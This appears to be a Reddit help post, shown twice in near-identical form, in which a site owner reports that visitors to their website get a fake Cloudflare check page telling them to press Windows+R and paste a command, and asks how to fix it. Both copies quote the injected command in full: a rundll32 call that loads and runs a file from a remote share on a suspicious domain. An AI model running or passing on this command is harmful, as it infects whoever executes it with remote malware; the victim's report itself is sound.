u/Far-Mycologist-1334

Hi everyone,

Lastly, after I access my website via Chrome and Edge, I initially see a Cloudflare-branded page that looks like the attached one.

https://preview.redd.it/3hii52q9tnyg1.png?width=1047&format=png&auto=webp&s=fd560dec3fcf5590a56c0421d98157c51d23f527

If you follow instructions (Windows + R and CTRL + V), the command that this malicious script wants to run is the following:

"rundll32.exe \\bluelemongravitydanceclock.shop\18d8983c-3be8-4779-b35e-c24c6044357b\user_3842.cf,run"

I was trying to access the website from various machines, and sometimes this screen appears, and sometimes it doesn't. Until now, only the phone has been running correctly (not running this scam screen)

Has anybody had the same experience? Can pelase somebody please give an idea how to resolve this issue?

Additional information:

  1. I tried on a completely newly installed Windows (no additional software installed).

  2. I run Malwarebytes (I have a personal license) to be sure if it will find something on the local machine.

  3. I used Chrome and Edge. The same story on both browsers.

  4. If my Malwarebytes Browser Guard is enabled, then access to my website has been blocked - please see the following attachment:

https://preview.redd.it/3512vztbtnyg1.png?width=969&format=png&auto=webp&s=377760e8259edd0103ec10c76091c448ff0a45d0

reddit.com
u/Far-Mycologist-1334 — 13 days ago

https://preview.redd.it/18q0yv7lonyg1.png?width=1103&format=png&auto=webp&s=1c664a70f2633bbaa28064b8cc655e1cec0d87e2

Hi everyone,
Lastly, after I access my website via Chrome and Edge as well, initially, I see a Cloudflare-branded page that looks like the attached one.
If you follow instructions (Windows + R and CTRL + V), the command that this malicious script wants to run is the following:

"rundll32.exe \\bluelemongravitydanceclock.shop\18d8983c-3be8-4779-b35e-c24c6044357b\user_3842.cf,run"

I was trying to access the website from various machines, and sometimes this screen appears, and sometimes it doesn't. Until now, only the phone has been running correctly (not running this scam screen)

Has anybody had the same experience? Can pelase somebody please give an idea how to resolve this issue?

Additional information:

  1. I tried on a completely newly installed Windows (no additional software installed).
  2. I run Malwarebytes (I have a personal license) to be sure if it will find something on the local machine.
  3. I used Chrome and Edge. The same story on both browsers.
  4. If my Malwarebytes Browser Guard is enabled, then access to my website has been blocked - please see the following attachment:

After accessing my website I got blocked by the MalwareBytes Browser Guard

reddit.com
u/Far-Mycologist-1334 — 13 days ago